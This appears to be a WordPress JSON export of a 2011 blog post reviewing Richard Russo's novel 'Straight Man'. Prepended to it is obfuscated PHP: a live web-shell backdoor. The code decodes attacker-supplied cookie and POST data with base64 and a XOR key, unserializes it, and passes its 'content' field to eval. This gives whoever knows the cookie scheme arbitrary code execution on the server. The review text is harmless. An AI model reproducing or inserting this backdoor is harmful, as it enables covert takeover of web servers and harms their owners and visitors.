$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":1446,"date":"2011-07-11T08:38:16","date_gmt":"2011-07-11T12:38:16","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=1446"},"modified":"2011-07-11T08:39:47","modified_gmt":"2011-07-11T12:39:47","slug":"book-review-straight-man","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=1446","title":{"rendered":"Book Review: Straight Man"},"content":{"rendered":"

$\"\"$ <\/a>My wife picked up Richard Russo’s 1997 novel “Straight Man<\/a>” for a Father’s Day present without too much foresight. She knew I would like a book, and she knew that I generally eat up books which focus on a male character besieged by a severe case of arrested development.<\/p>\n

William Henry Devereaux Jr. certainly fits that description and his antics as the reluctant interim chair of the English department at a Pennsylvania university made him even more appealing to me.<\/p>\n

Give me a guy who passive-aggressively insults his colleagues, drinks too much and threatens to kill a duck a day until he gets a departmental budget any day of the week for my literary entertainment.<\/p>\n

When Maria gave me the book, she said the note on the front about Russo<\/a>‘s Pulitzer Prize, which he won in 2002 for “Empire Falls,” helped her with the choice. That worked out great because Russo’s inherent skill as a writer allows him to satirize the academic world in which he lived in at the time while not going completely over the top.<\/p>\n

Sure, the thought of Devereaux climbing into the rafters to avoid detection by the colleagues planning to vote him out of his leadership position might sound far-fetched, but the story to that point had painted him in such a corner, the idea did not sound that far-fetched.<\/p>\n

That kind of character development makes “Straight Man” stand out. The humanity behind the insanity makes Russo’s book a gem for anyone who has endured the insanity of higher education.<\/p>\n

<\/p>\n","protected":false},"excerpt":{"rendered":"